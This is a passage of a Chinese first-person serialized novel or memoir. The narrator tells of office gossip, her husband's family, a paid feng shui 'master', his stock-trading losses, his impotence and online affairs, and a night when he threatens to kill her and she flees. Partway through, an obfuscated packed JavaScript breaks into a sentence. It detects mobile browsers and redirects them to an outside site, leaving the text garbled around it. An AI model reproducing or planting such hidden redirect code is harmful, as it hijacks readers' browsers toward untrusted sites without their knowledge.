乌编辑说:“他们事先也找了专家论证,说是没事。谁知道动了手术以后才发现是恶性的。她老公正跟医院打官司呢。” “张小倩她老公有本事的,他这回跟医院有的倒腾了。”徐编辑说。 “他怎么有本事的?”杨编辑问。 “他不是中学老师嘛?他这个人胆子大的,他在校长办公室装了窃听器。知道了校长的那些见不得光的秘密。这下他把校长给拿捏了。校长没办法,只好给他升职加薪。”徐编辑压低声音说。 “妈呀!这校长也忒倒霉了。又恨他,又得给他加官进爵。”杨编辑说。 “可不是吗。”徐编辑说。 “那他就这样在校长眼皮子底下?校长不难过啊?他自己不难过啊?”杨编辑说。 “他这个人心态好,他难过什么?难过的是校长。后来那个校长把他给调走了。”徐编辑说。 “把他调走还得跟他好商量,还得把他往好地方调。”乌编辑说。 “那是!谁让校长有把柄在人家手里。”徐编辑说。 “张小倩这颗痣,困扰了她一生,因为这颗痣,人家都叫她‘鬼子’。” 乌编辑说。 “这样,她到那边就不用愁她的痣了。” 徐编辑说。 他的一句玩笑话立刻引来大家哈哈大笑。 我惊讶于徐编辑平日里那么斯文儒雅,对待别人的生死居然如此无关痛痒。他跟张小倩年龄相当,共事的时间也比较长。他们平日里见了面,也应该比跟我要客气比跟我要交心。何以在她灰飞烟灭以后,一切的和谐恭敬都也随之凉凉。然而,我又觉得这并没有什么好奇怪的。大家走到一起无非是维持表面的和谐而已。谁真正关心谁的存在和死去。除非你广交天下豪杰,多多礼尚往来,或是炙手可热,那在你生老病死的时候,才会有人对你趋之若鹜。至于身后事,顶多也是供了有恶意的闲人和无恶意的闲人以饭后的谈资。 人这一辈子,真是不容易。活在人群里,更是不容易。你病了,别人要集体议论你,非要弄清楚你所有的蛛丝马迹。你死了,别人还要集体议论你,把你生前的风流韵事扒个赤条精光。即使你想安安静静地死去了,你希望一切都随着你的死去销声匿迹。可是哪一天,哪个热心肠的想起你来,大家还是要轰轰烈烈地评说你。 我坐在座位上,听着他们的八卦。一半觉得新鲜,一半觉得胆颤。新鲜的是,他们说的事我确实不知道,他们怎么知道那么多?胆颤的是,他们怎么知道的那么多。万一哪天,我遇到不幸了,他们也会一样,公然在办公室八卦我。也会像这样把我剥地赤条精光。《小坛》人的八卦功夫太厉害了。我可不敢离婚啊。我要是离婚了,我不得被他们给活剥了。 我低头伏案,坐地太累,我就自己出去,沿着社里的植物园走一走。冬日的植物园里,还是一片灰色的枝丫,梅花刚刚露出红色的小脸。我转了转,还是百无聊赖,又走回了办公室,继续低头看我的《耳谈》。 一天,黄林军三叔家的那个好看的小兄弟莫名其妙地来了。他也没什么事儿。他也说不上为什么要来。但是我看到那个小兄弟还是很开心。 “出去吃吧。我请客!”我说。他不吭声儿。 我们就一起到了一家餐馆儿,我点了几个大菜,我们三个一起吃。吃完了,我去结账。 “一共二百块钱。也不多。”我说。 饭后,他那个小兄弟回去了。 “你那个腌萝卜该点的?你没吃过?”他质问我。 “我就是想尝尝嘛。”我说。 “你请他吃饭,他也不知道感谢你。”他说。 “没事。”我说,“小叔、小婶子都对我们蛮好的。我平时想孝敬他们,还怕你妈不高兴呢。” 快过年的时候,下雪了。到处是冰天雪地的。 他跟我说:“我二叔家的堂妹来青提区医院住院了。她被车给撞了。” “情况不严重吧?” “应该不是很严重。” “我们去看看你堂妹吧?”我说。 “嗯。” “我们买点东西吧?” “不用买。” “那哪好意思呢。”我说,“我买箱奶,买点苹果吧。” “好吧。” 他妈妈打了电话过来了:“小军啊,她在那儿住院,你和小宋不要再花多少钱啊。家里已经出钱了。” “嗯。知道。”他说。 我们一起拎着东西踩着冰冻的路面去了医院。 他堂妹躺在病床上跟他说话。她的情况属实不严重。她侧着左边的身子歪着头跟她堂哥说话,并不怎么搭理我这个局外人。 “在这个医院没查出来什么。你说我要不要去金河再查查?”堂妹问她堂哥。堂妹这个人比较聪明伶俐,活泼开朗。跟她木然呆滞的堂哥完全不一样。 “你要是不放心,那就再查查吧。”堂哥一脸木然地表情严肃地说。 “现在路面都结冰了,去金河也不好走哈。”堂妹说,“我想想又不想折腾了。别去金河的时候又撞车了。你说,我现在查着没事儿,以后应该就没事儿了吧?” “应该没事儿吧。”堂哥又面无表情地说。 “小叔也来了。”他堂妹说。 “他在哪儿?”他问。 “出去买东西去了。”他堂妹说。 “我们还要上班。我们先回去。”他说。 “好的。你们去忙你们的。”他堂妹说。 回去的路上,我问他:“中午我们要请你小叔他们吃饭吗?” “不用。”他说。 “我要不要炖点排骨什么的给你堂妹送去啊?”我说。 “不用。”他说。 “那你小叔中午怎么吃啊?”我问他。 “我请他吃碗面就行了。”他说。 “那我就不用管了?”我问。 “你不用管。”他说。 这一年过年,我们回到了黄林军的老家。 黄家的住宅东边,没有几步,就是一个奶奶的房子。那房子是黑色的砖头砌成的,有高高的窗户,像是英国乡村里旧式的小楼。这房子里住着奶奶一个人,八十多了。 我跟这个奶奶也就是来去匆匆间偶尔看得到她,看到她,也就是客客气气地打个招呼,平时从不踏进她的房子。 过年的时候,我跟一群人一起给奶奶拜年。她的屋子里有一股尿骚气。那屋里的地面都是黄土的。黄土地面上渍着湿湿的尿痕。她大概是年纪大了,懒得动弹,再加上荒郊野外,夜间不便出去,所以就直接尿在屋里了。反正那么大的屋子只有她一个人住,尿几泡尿也没什么的。 几个年轻的小辈,手插在裤兜里,忍受着地上的尿骚气,一本正经地跟她说说话,客气两句,也就走了。又剩下永远孤零零的她。可是,谁到头来不是孤零零的呢,谁到头来不是老的老,死的死呢。其实大家到最后都是差不多的。或许,有的人,到老了,还不如她呢。 奶奶的屋后头住着她的养子,她的后老伴的儿子。奶奶亲生的儿子死了,还有一个女儿,嫁在别的村子。奶奶的养子,我们叫他伯伯,戴着一副眼镜,喜欢读读写写,舞文弄墨。他家里堂屋正北的那面墙壁上,贴着关公的画像,还有开国元勋的画像。这些都是我记忆中二爷爷家里的样子。我很是喜欢。我爱在他家屋子里站着或是坐着,看着这些古迹,跟伯伯攀谈。 伯伯门外是一渠清水,绕宅而流。院子里摆着几盆花草,地上丛生着几处野菊,颇有些文人意趣。伯伯已经年近七十了。家中有一个儿子,年近四十,没有家口,一个人在附近打打零工。这个哥哥虽然是跟众人一样,可以夸夸其谈,只可惜也是伯伯和伯母近亲而生,虽然比三叔家的小兄弟要好许多,但也是不太精明。 年后,我照旧跟他们一起去同村的二姑家吃饭,吃完饭了,众人一起聊天,我觉得无聊,就跟小糖糖一起在院子里玩。我有点想上厕所了,小糖糖带着我走地里抄近路回家。冬天的地里,一片白茫茫的。我们踩着地里的土坷垃。那样的土地和田野给了我似曾相识的感觉。那年我已经三十多了,可是我跟小糖糖一起走在地里,我觉得自己只有三岁似的。我们回到家上了厕所,我婆婆也回家了。 她见到了小糖糖,就开始吵她:“不省事,带着大人到处乱跑!”我赶紧解释,是我要上厕所,是我自己要回来的。老太太还是瞪着眼睛看着小糖糖,不依不饶。 小糖糖把我拉到一边,跟我说:“我给你说件事儿,我们老师给我办了贫困,我家贫困。”我看着小糖糖,很想跟她亲近一些。可是,我前婆婆不是太喜欢糖糖,因为她是一个野孩子,太皮,太讨厌。小糖糖长地像她妈妈,很漂亮,比老太太的外孙子要漂亮很多。只是因为亲妈不在,就过得像根草了。 春天来了,二婶子带着小糖糖在院子里玩。小糖糖的奶奶看着小糖糖,还是很喜欢,露出慈祥的笑脸。 她有时候想起来一阵子,还是会大骂小糖糖的妈妈:“不要脸,上回回来,还跟我一块儿去锅里盛饭。她在小糖糖姑姑家的时候,她去买菜,还得去小糖糖她姑姑的包里拿钱。她家人都没规矩。她娘家哥哥的小孩子,吃饭的时候,不管哪个人来,哪怕是天王老子来,他也得上桌,把个菜一个一个地串在筷子上,跟冰糖葫芦似的。”二婶子说话很有意思。 春天里,天气暖洋洋的,四处都是大好的春光,我们一起望着眼前的田野。 老太太说:“青菜都开花了,我去采点回来炒菜。” 二婶子说:“青菜的花宝宝摘下来,用荤油炒炒好吃的。” 他妈妈要去地里,我也跟着去。我从黄家东邻的奶奶家门前走过,她一个人孤零零地靠着门框坐着。 “大奶奶!”我朝着她喊道。 “哎!”她抬起脸来应答,半扇门前露出她花白的垂到肩膀的头发。 “媳妇比婆婆高哦!”她笑着说。 “我是老了,龟腰了。”我婆婆边走边说,仿佛她不老的话就不是很矮似的。她也并没有龟腰。个子矮的人是不容易龟腰的。她只所以说这话,只是因为婆婆在各方面都不肯跟媳妇认输的缘故吧。 大奶奶的门前是几座坟,和一丛蓬勃的迎春花。坟里埋着她的儿子。她的亲生儿子早早地死了,她的儿媳带着孩子改了嫁。春天里,一丛丛的迎春花绿绿的,闪耀着黄色的小花。 二叔喜欢逮鸟,他把逮回来的鸟提过来,给老太太烧菜吃。老太太把那鸟放在瓷盆子里,用开水烫一下,转过头笑着跟她儿子说:“小军,你来杀吧!”她对她儿子的回眸一笑的那一刹那,我感受到了,她的世界里只有她和他。 “我才不去!”他手插在裤兜里,探头朝瓷盆子里看了一下,撇了撇嘴儿,鼻子一囊,像个十四岁的小姑娘。 我说:“你帮你妈杀个鸟呗!一个男的连个鸟都不敢杀啊!” “他本来就没干过这个嘛!”老太太为她儿子打抱不平说。 在她的眼里,她的儿子会什么、不会什么,都是天经地义的。她不知道的是,她的儿子不敢杀鸟,并不是单纯地不敢杀个鸟那么简单。一个男人不敢碰一点血腥,他也没有了一个男人该有的血性。男人不敢杀一只鸟,也不是什么坏事,至少说明他还不会杀人。我跟他一起,我的人身安全是有保障的。可是,一个男人该有的,他还是该有一点,一个男人该会的,他还是该会一点。可惜他妈妈不知道这个道理。也许,他妈妈即使知道也是改变不了。他不敢杀鱼,不敢杀鸡,不敢杀鸟,他惧怕地要死。谁又何必去难为他呢?是的,那是她儿子的心智和身体。管她什么事。因此,我还是很喜欢她们,喜欢她们农村的宅地。是的,除了黄林军,他家和他的本家,我都喜欢。 傍晚的时候,他的爸爸跟他妈妈一起靠在他家的西墙跟里。他妈妈眯着眼看着前方田地里他家的祖坟。 “他爷爷在的时候就想迁坟的,一直没迁。”他妈妈说,“这回要是想迁的话,还得把坟上的那些竹子给刨了。” “嗯。” 他爸爸望着前方说。 迁吧。我心里说。黄家是该迁坟了。换个好点儿的风水。 2.他请回来一个“大师” 外面下小雨了,他静静地坐在桌前,看着窗外白色的玉兰花。此刻,那朵白色的玉兰安静地仰着她的小脸儿,青绿的叶子格外新鲜。 “我要跟物业的说说,把这棵树给砍了。妈的!”他说。 “为什么要砍了呢?留着它不是很好吗?”我问他。 “开白花,就在我的窗户外头。影响风水。”他说,“我不想自己动手,否则,我弄一斤白糖埋进去,它就会死的。” “我觉得这棵玉兰挺好看的呀。”我说。 “放屁的!风水!你知道吗?唉!跟你说,你也不懂!像我住的二楼,底下是空的。从风水上来说就不好。我们这栋楼后头正好冲着一个三叉路口儿,也不好。”他说。 “哦!”我似懂非懂了。 “你懂个屁!”他说,“你知道屁是什么颜色的吗?”他抬起眼来看看我。 “不知道。”我说。 “是蓝色的!”他得意地说。 “如果憋着不放的话,你知道最后从哪里出来吗?”他高深莫测地问我。 “不知道。”我说。 “从嘴里出来。”他得意地说。 “下个月是你生日,我出两千块钱给你买件大衣吧。”我说。 “那你的生日呢?”他斜着眼睛问我。 “到时候,你也给我买个礼物呗。”我说。 “我给你花多少?”他问。 “我都给你花了两千,你也给我花两千呗。”我说。 “那有什么意思啊,花来花去花地还是我自己的钱。”他说。 “我平时还给你买那么多衣服呢。你冬天的羽绒服,加绒的牛仔裤。夏天的衬衣,秋天的外套,不都是我给你买的。”我说。 “你上次给我买的外套,我穿着去上班,我办公室的那些女人说我像个老干部。”他说。 “老干部又不是什么贬义词。说明你形象好啊。老干部的衣服还是我给你买的呢,你给我买过什么了。”我说。 “我上次在网上看了一个包,二百块钱,本来想给你买的。结果你跟我吵架,我一生气就不给你买了。你以后再跟我吵架啊。”他得意地说。 “就因为我跟你吵架,你就连二百块钱的包都不给我买了?我跟你吵架了,我怎么还给你买的呢?你不给我买拉倒,我自己会买。我又不是没钱。我买的水桶包不比你看上的包好看啊。”我说。 “你那是什么品味。跟小孩儿的包似的。”他说。 “那上次我去逛街,人家买衣服的还夸我的包好看呢。”我说。 “人家那是想让你买人家的东西,当然夸你了。你就是幼稚。哎!”他说着,双手插进裤兜里,从饭桌前站起身儿来,“我早晚要把这棵开白花儿的树给弄死!娘希匹!” 他双手插兜在房间里脚尖不沾地的走着。 “你知道‘娘希匹’是谁说的吗?”他回过头来问我。 “不知道。” “是□□!还说你有文化呢!哎!”他习惯性能地摇了摇头。双手插兜,又脚跟不着地地在房间里的地上走起来。 没过几天,我买菜回家,看见他跟一个男人一起坐在沙发上。那个男人看起来还算干净利索,身材跟他差不多,都是高高的。 “这个是大师,我请来的。”他说。 “噢,大师好!”我心里想,什么狗屁大师,骗钱的呗。不过,既然他好这口儿,我也就尊重他,顺着他。 “我请来给我看看,哪个方位生财。”他说。 “噢,大师好好给我们算算,看看哪个方位能发大财!”我跟着喊好。 “大师说,小房间可以生财!”他说。 “好的!借大师的吉言!”我继续跟着喊好,我何必败他的兴呢。 “这个也不能确定的。”那个大师就说了这么一句屁话。既然是“大师”,那也得有个“大师”的样子,多吹嘘两句,我也热热耳朵,过过瘾嘛,这个“大师”,嘴皮子一点都不溜,索然无味,真不像个“大师”。 “大师”要走了,我客客气气地跟“大师”说:“您辛苦了,那就不留你吃饭了哈!” “大师”走了以后,他跟我说:“我花了八百块钱请来的。” “噢!”我也不赞成,也不反对。他请大师的钱我也不会跟他平分。 “‘大师’是哪儿的呀?” 我问他。 “我在网上请的!”他说。 “网上请的?我还以为是你同事给你介绍的呢。网上的靠谱吗?”我说。 “你不要以为网上的,你就看不上人家。人家是老师。”他说。 “哦。还是个老师呢。”我说。老师也出来骗人了。我心里想。你请就请吧,反正也没花我的钱。他的钱,我也不管。房贷每个月六百,他自己买的房,自己还房贷。按照他的话说,他的房,我住在里面,他没问我要房租,已经是宽大为怀。 我负责买菜,他过段时间给我几百块钱补贴家用。搞得他非常合理公正。 这以后,他就听信了那“大师”的金玉良言,坐到了他的小房间里去。我一个人在客厅里看电视,或是加班审稿子。他嫌开大灯太亮太费电,就让我只开那盏昏黄的灯。于是,每次我下班晚归,骑着自行车回家,远远地,就看见他小房间的窗户里透出来橘黄的灯光。我回到家,一个人面对着客厅里昏黄的灯光。 水果基本上都是我买的。我买樱桃,他吃樱桃,我伸出手去接他吐出的核。我他妈的那时候怎么就不嫌他脏呢?我买石榴,一粒粒剥好,挑好,给他送到小房间里去,他还嫌我打扰他。我拖地进他的房间,他觉得我是为了偷窥他。我对他的好,他这辈子也享受不到了吧?我想想自己那时候的贱样儿,觉得自己真是恶心。 他在小房间的小书桌上放了一个绿色的陶瓷的小盘子,上面点起了檀香,他在里头研究发财致富呢。我拖地的时候,到了他身后,只见那电脑上显示着很多红线线、绿线线,什么“石油”、“白银”、“黄金”,什么“大智慧”。 他在干嘛?我百度了一下,妈呀!他在炒股!我以前只是耳闻过“炒股”,今朝是头一回亲见!我脑袋“嗡”地一下,我找了个炒股的,日子怎么过?他以前说过,他炒过股,老是亏。我们刚结识的时候,也没见过他炒股啊。我还以为他现在不炒股了呢。 我担心、害怕,我不想看着他败家。我来到门口儿,跟他说:“你不是炒股老是失败吗,怎么还炒啊?” “是的,老是亏!每年两万,每年两万。”他委屈地说,“我省吃俭用!我把废纸壳子都攒起来去卖!” “你又在搞什么啊!你不能不炒吗?”我着急地说。 “我哪里跌倒了哪里爬起来!”他很生气。 “你都快四十了,我工作又晚。跟身边的同事比,我们的经济实力远远落后。我们都不小了,老是这样亏下去,我们输不起。”我说。 “我四十怎么了?”他愤愤地说。 “我们那些同事,人家有空都出去旅游,我们一次都没出去过。你花那个钱去炒股,还不如留着我们出去旅游呢。”我说。 “贫贱夫妻百事哀!人家我们同事输了几十万,他老婆一点也没跟他吵!”他说,“我有一个女同事,人家炒股输了二十万呢,人家老公也没说她什么。都照你这样,人家还不过了!” “我们还没有车。每次放假回你老家,我们的行李都是放在你的摩托车后座儿上,用绳子绑着,捆着,跟个春运返乡的农民工一样。”我说。 “农民工怎么了?看不起农民工是吗?你家还不如农民工呢?”他说。 我说:“我不是看不起农民工,我是觉得我们双方都有不错的工作,我们真地可以好好努力,买辆车,过地体面一些。农民工也知道攒钱买辆车,过地体面一些呢。你自己冬天要骑摩托车上班,膝盖上绑着护膝,你不觉得麻烦吗?” “不麻烦,管你什么事?我自己买的护膝自己绑,又不要你给我绑!”他说。 “大冬天的骑车上班,我都心疼你,你就没心疼过我吗?你爸妈每次坐公交车来看我们,你妈妈因为晕车都要生吞下晕车药,等她下了车,还是晕地难受。你每次把你爸妈送上公交车的时候,没想过要买辆车,风风光光地送他们回家吗?”我问他。 “我觉得炒股比买车重要!你就是爱面子!”他说。 我说:“你爸爸都快七十了,你妈已经六十五了,两个老人还在辛苦地种地,不种地的时候,老两口儿就出去打零工,每天赚个八九十块钱。你可以不考虑我的生活质量,你有没有为你的父母着想?你那些亏掉的钱如果给你的父母,完全可以抵得上你父母一年的辛苦。” “我不觉得我父母辛苦!他们种了一辈子的地,他们习惯了。你要是心疼她们,你可以回去帮他们种地,你不要在这里跟我废话啰嗦的!”他说。 他听不进去,他完全听不进去!话不投机半句多。我只好从他的小房间里走出去。 “你如果不想过了,可以离婚!”他从门儿里探出头儿来恨恨地说。说完,他砰地一声关上门,又去炒他的股去了。 我呆呆地站在门外。离婚?啊?我吓死了!我是个要强的人,我工作才几年啊,我想努力工作,好好生活,“离婚”两个字我承受不起。同事怎么看我,怎么说我?我也没想到一个结婚这么晚的人,能这么轻率地对待婚姻?大龄青年更懂得珍惜?你错了!他们光棍了那么多年,他们独立自主惯了,他们更无所谓了! 3.“中国好室友” 吵架了也会和好,一切正常,就是没有夫妻生活,有也搞不成,越挫越不行。 有一次,他又失败了,我一脸地失落。他跑到客厅里,登陆“世纪佳缘”,向那上面的女人发出了邀请函。 “我就是想通过这种方式来发泄一下!”他事后跟我讲。噢,我是受害者,我都没去虚拟世界发泄,他倒是去发泄了,而且是以报复我的方式。他阳痿搞不成事儿,他居然恨我,他去找女人来报复我。这是什么逻辑?这是阳痿的逻辑!这是什么道理?这是太监的道理! 他有时候心情好,那坏死的辣椒还是不行,就是软绵绵地,趴着不起来。 他无力地躺在那儿,跟我说:“没用!不听大脑的指挥!我割了!”他说他要割了它! 我说:“那可不能割,还没生孩子呢!” 就这样,一个月,两个月,三个月,四个月,两个人各睡各的被窝,互不打扰,俨然一对儿“中国好室友。” 周末,我们照例拿着水杯、零食,去那些免费的风景区玩。在外人眼里。他腰身粗壮,白白胖胖,衬衫的衣领掖在裤腰里,齐齐整整,斯斯文文,俨然一个事业有成、家庭美满的中年男人。而我,作为这个成功的中年男人的身边的女人,内心应该很幸福很满足!可是,我们连手都没牵过,在外头没有,回家也没有。我觉得我在陪同一个领导在看风景,对,是陪同一个特别正派、不近女色的领导在看风景。 我们晚上照例去广场上散步,看人家跳舞。我们经常一起散步,我们唯一的共同活动就是散步了。人家在人群里头跳,我们在广场上的小路儿上走。他走在前头,边走边随着音乐手舞足蹈。他低着头,两只手随着音乐舞着,夜色里透出来他白白的皮肤,他像个大熊猫一样,一副很沉醉的样子。 “跳舞要随着鼓点儿!你听到鼓点儿了吗?”他问我。 “听到了。”我说。 前头,走着一个女人。 “我奸了她!”他说。 天哪,他居然说出这样的话。他不是老实人吗?他不是一个文化人吗?人家那个女人怎么惹他了?他奸了她?他有那本事吗?他先奸了他老婆吧! “我的一个小读者里有一个十三岁的小女孩,很漂亮!”他说。 “噢!” “我想娶她!”他说。 “她那么小,你怎么娶她呢?”我问他。 “我等她!等她大学毕业了,我娶她!”他说。 “回家吧,没什么意思。”他说着,转过身儿去。 我跟在后头。是的,要回家了,没什么意思,我一点儿都不想回去。周末了,人家夫妻怎么过的,想想都知道。我们怎么过的?我们在外头是这样,回去,家门一闭,还是这样! 晚上睡觉,本应该是最放松的时候,可是我觉得跟他睡在一起,非常压抑。我背过身去,手指蜷在一起,我的身体也蜷在一起。我的手心里,仿佛有丝丝的凉气悠悠地冒出来,青云直上。那是我心里透心的凉。 又是一年,我们把备孕提上了日程,可是,今天,他帮家里铲了几铁锨土,累了,不行。过两天,他要去春游,又累了,又不行。一不行,二不行,三不行,四不行,各种不行,反正是不行。我们的□□,要选择一个黄道吉日,沐浴斋戒七七四十九天,在某时某刻,庄重地举行。稍有一点风吹草动,那便是对“性神”大不敬,他就要偃旗息鼓,草木皆兵。 他继续炒股,我继续一个人呆在昏暗的客厅里。我偶尔跟他说说话,劝他不要炒股了,要好好过日子,我们一起买车,我们都不小了,要抓紧生孩子。这么简单的事,他要我去跟他说,这么简单的道理,他听不进去,这么简单的事情,我们无法沟通!我没办法,跟他父母说,他父母也都能听得懂,为什么就是他不懂呢? 我们沟通不起来,身体上没法沟通,导致语言上没法沟通!我跟他说,说了没用,一跟他说,他就说我在跟他吵架,一吵架更是有了充分的理由。一次吵架要冷战几个月。我想生个小孩,我每个月只有一次排卵期,一年只有十二个月。我的每个月就这样被生生地断送。我已经三十四五了,我们同事的小孩都在办公室跑着玩儿。生个孩子吧。他不知道吗?这么简单的事情,他怎么非要我去泣血上书、临表涕零。他为什么就是不去面对,去解决,他怎么就那么不通气?我不明白。可我又特别明白。我们的问题,不是语言能够解决的! 稿三阶段考核的时候,我的考核成绩想当然的是最后一名。人家研究四大名著,审核有关四大名著的稿件,人家出的文章很多,可读性也很强。人家在肥沃的土壤里种着一片参天大树,那些大树 ,一年没有人管,也照样会长地郁郁葱葱,丝毫不会凋零。人家的成果当然是枝繁叶茂。而我,因为我审核的是《耳谈》,这个全天下几乎没有几个人知道也没几个人愿意读的最冷门的一本书。领导想让我在他给我指派的冷门的古籍上,选拔出来很多炙手可热的文章,就像让我在不毛之地上种出土豆一样,就像给我一个阳痿的老公,却非要我子嗣繁盛一样!巧妇难为无米之炊,我是一个凡人,我不是神仙,我没有办法力挽狂澜,我无力回天! 那个夏天,我们又一次把备孕提上了日程。 他说:“我年纪大了,最好第一胎就是男孩儿,我的同事给我介绍了一个老中医,可以调理身体,生男孩儿。” 我说:“这不是迷信吗?生男生女不是谁能管得了的啊。” 他说:“女人的身体内环境也很重要,如果是碱性的,就容易生男孩儿,如果是酸性的,就容易生女孩儿。” 那好吧,他既然肯去调理,我就配合他去调理。难得他有这份儿心。对我而言,跟他一起去调理的目的,倒不是老中医开的方子,而是调理以后,他大发慈悲的房事,有房事才能生个孩子。他为什么非要生男孩儿?他想过没有,凭他的身体,他能生个孩子就不错了,还得非要男孩儿,他对自己的要求还蛮高的。 我们就去医院找他说的那个老中医调理。老中医搭脉、开单子,我去做B超,监测卵泡,老中医看单子,开方子,我们再去医院附近的“存仁堂”抓中药。那中药的成分都是温补的东西,什么鹿角、桂皮,淫羊藿。 大热的天,我去煎药。药罐子“咕嘟咕嘟”地响着,我看着火儿煎药,他在小房间炒股,又是久坐不起,晚上又是任何行动也没有。 老中医再怎么调理也没个卵用,因为他根本就没个卵用。 老中医不明就里,还以为自己医术不行。 我憋不住了,就告诉她:“医生,我老公那方面不行,你给他搭脉看看吧。” 我去把坐在外头等我的他给叫了过来。老中医给他一搭脉:“肾虚。” “嗯。”他说。他对自己的身体很清楚,外软内虚,再加上高血压导致的晕,他俨然是一个彻底的阳痿了。 我赶紧说:“医生,你也给我老公调理调理吧。” 医生说:“行。” 他也说:“行。” 老中医给我搭脉的时候,跟我说:“说你老公是阳痿吧,他还不愿意承认。” 我满面愁容:“医生,你说你这样光调理我,有什么用。你跟他说说吧,可以有房事了。” 医生给他搭脉的时候,跟他讲:“这副药吃了,你们可以同房了。” 他答应着。回家,还是没有行动,行动不起来。 行动,行动,行,才能动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137804|180320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不行,就不能动。 “再调调!再调调!”他跟我说完,又一头扎进小房间炒股去了。 他炒股的时候要登陆□□,跟一个陈助理聊天,那号称“陈助理”的头像是一个漂亮女人的头像,他每天下班炒股,跟那个漂亮女人的头像聊地热乎。 我跟他一起居住,毫无人气。每逢周末,我就叫他一起回他老家。人家新媳妇喜欢二人世界,我是喜欢跟他父母一起,因为在他老家里,跟两个年近七十的老人住在一起,还能让我感受到一些人气。跟他一起,是压抑,是无趣。二人世界?狗屁!不存在的。 我其实是很喜欢他父母的朴实能干的。我也很想融入他的家庭,跟他母亲亲近,但是他母亲也不稀罕我去跟她亲近,人家有女儿。周末,她那一桌子丰盛的饭菜也不单是为了我,那是以资他们家跟他妹妹、妹夫聚餐所用。 他的妹妹、妹夫、小外甥,一家三口,和和美美。午后,他的妹妹坐在他妹夫的膝盖上,去给她的丈夫掏耳朵,他们的儿子围绕在他们身旁。 他的妈妈看着他的小外甥在院子里奔跑,就跟我说:“小燕给人家生了个男孩,人家多欢喜啊!我看人家媳妇怀孕吃鹅蛋,等小宋怀孕了,我也去买几个鹅蛋给小宋吃吃。” 我想,我也想怀孕吃鹅蛋。你大概是不知道你儿子的身体。巧妇难为无米之炊。这么多年,我跟你儿子一直无所出,你以为怪我吗?你儿子什么情况,你心里就没点儿数吗? 老太太可能觉得他的小外甥可以催我奋进,让我猛醒,赶紧为她家传宗接代。可是她不知道,她那健康的女婿所具有的本事,是她的儿子所没有的。她的女儿享受到的幸福,也是我享受不到的。而她,还天天拿她的健康的女婿、如胶似漆的佳女佳婿,和他们夫妻生活的结晶——他们的儿子,在我面前晃来晃去。 我是该羡慕她女儿,还是该向往她女婿所拥有的,她的儿子不具备的,健全的功能和健康的身体?她不知道,我承受着她儿子的性无能,还要承受她给我带来的委屈。我膝下无子,我是不是很相形见绌?她是不是觉得是我不行? 她以为是我不行,我不是不行。她以为不是她儿子不行,她儿子确实不行。她如果心里有数,她应该体贴我的难处。而不是拿她的女儿、女婿和他们的爱情的果实在我面前晃来晃去。 4.我捉我阳痿老公的奸 我周末喜欢回他老家住,他受不了。 “回去吧。在这里没意思。”他歪在床头上,懒洋洋地说。他的长长的穿着牛仔裤的腿和穿着蓝色拖鞋的脚拖在床底下。 我坐在床尾,对着他卧室里的老式电视。 “回去干嘛?在这里不是挺好的?”我说。 “老家没网,我要回去上网。”他说。 是的,他一回去就把自己关在小房间里,跟陈助理聊天,他又开始炒股了。 “你每次都亏,为什么还要炒!”我忍不住跟他吵。 “我在哪里跌倒就在哪里爬起来!我相信我能成功!妈的!你作为我的老婆,一点都不理解我,不支持我!离婚!” 他说,“贫贱夫妻百事哀!我要找个有钱的!” 他于是登陆世纪佳缘,正大光明、接二连三地谈起了恋爱。 据我知道的,第一个叫兰芯。他去散步的时候,我偷偷划开他的手机看到的。那时候还没有微信,他们通过□□聊天。我赶紧加了她的□□,指责她为什么勾引我老公。 她说:“关我屁事,我又不知道他还没离婚。有本事管好自己的男人!” 我当然没本事管好自己的男人,就跟她对骂了起来。 “你信不信姑奶奶拿钱砸死你!”那个女人说。他确乎是找的有钱的女人!我才不怕,用我在农村学来的泼妇骂人的粗话跟她对骂。 她很快告诉了他。他们的恋情还刚刚开始,他没太当回事儿,还有些得意。 “你骂人那么难听,这回你知道你素质多差了吧!”他得意地挖苦我。 紧接着,他又成功地谈了下一个。这个叫伊雯,她当时三十四岁了,像是开店的。她□□里很多戴着大墨镜旅游的照片,还有他一向拘谨地夹地紧紧的点赞:“漂亮!” 他又出去散步了,我又偷偷地拿来他的手机开始劝她:“他还没离婚。你退出吧。” “好。”她说。 九点多的时候,他回来了。很快,他拿着手机从小房间大步走了出来,像是失去了亲娘一样:“你把她弄到哪里去了!我找不到她了!你给我找回来!找不回来,你今天别想活!” “我不就是把她劝退了吗?你再加回去呗!”我说。 “她不理我啦!”他快要哭了,“你去给我求回来!” 我怎么能求得回来。 他把手机给我:“给我把她找回来!否则我就杀了你!” 啊,他要杀了我。我很害怕。拿着手机就想逃出门外。 他一把把我拉住:“想走?想得美!把她找回来!否则你别想出门儿!” 他已经为爱疯狂了。我当时很冷静。彼时彼刻,我觉得我面对的不是自己的老公,而是一个疯子。我知道我必须软下来。 他拉我的时候,我一下子趴在地上:“好!我给你把她找回来!”我说。我知道如果我不跟他示弱,他很可能把我杀了,或者把我揍一顿。 “你去找!”他反身去小房间拿茶杯,我立刻转动门把手跑了出去,手里正好拿着我的手机。我跑出去,躲在小区对面马路旁的绿化带里。深更半夜,我去哪里呢。我给谁打电话把我接走呢。他的一个朋友,那对五十岁的夫妻,住在镇上,太远了。我跟她们也不熟。谁比较可靠,谁可以投靠呢。我想起了我的同事老言。老言五十多岁了,有一个女儿,上大学了。他的夫人马大姐,也是我们单位的。我就给他打电话。 “老言大哥!” “哎!” “老言大哥,我是宋大省,我跟我老公吵架了,你能来接我一下吗?” “好的,你等一下,我跟老马一起去!” 老言开着车,带着马大姐来救我了。我就这样坐上老言的车,到了他家。到家以后,马大姐安排我住在她女儿的房间。她女儿不在家,还没有放假。我就去洗澡,准备睡觉。 我的电话响了,是他打来的:“你在哪?你回来!”我当然不可能回去。 过了一会儿,他那个镇上的朋友的老婆也就是秦师娘给我打电话:“小宋,我们都在,你回来吧!” 